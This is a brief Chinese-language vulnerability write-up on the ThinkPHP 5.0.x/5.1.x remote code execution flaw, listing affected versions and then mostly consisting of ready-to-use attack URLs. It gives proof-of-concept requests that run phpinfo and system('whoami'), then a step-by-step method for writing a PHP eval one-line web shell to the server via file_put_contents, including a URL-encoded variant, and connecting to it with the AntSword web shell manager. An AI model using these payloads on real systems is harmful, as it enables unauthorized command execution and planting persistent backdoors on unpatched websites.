ThinkPHP是一款运用极广的PHP开发框架。其版本5中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。
影响范围
受影响的版本
ThinkPHP 5.0.x < 5.0.23
ThinkPHP 5.1.x < 5.1.31
不受影响的版本
ThinkPHP 5.0.23
ThinkPHP 5.1.31
poc
http://192.168.1.7:8080/index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=100
http://192.168.1.7:8080/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
利用过程
写入一句话
/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=一句话木马
在=号后面填入一句话木马
如
/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php eval($_POST[666]); ?>
里面的shell.php可以换成各种名字,对一句话进行url编码
如
/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=666.php&vars[1][]= %3C?php%20eval($_POST%5B666%5D);%20?%3E
上蚁剑连接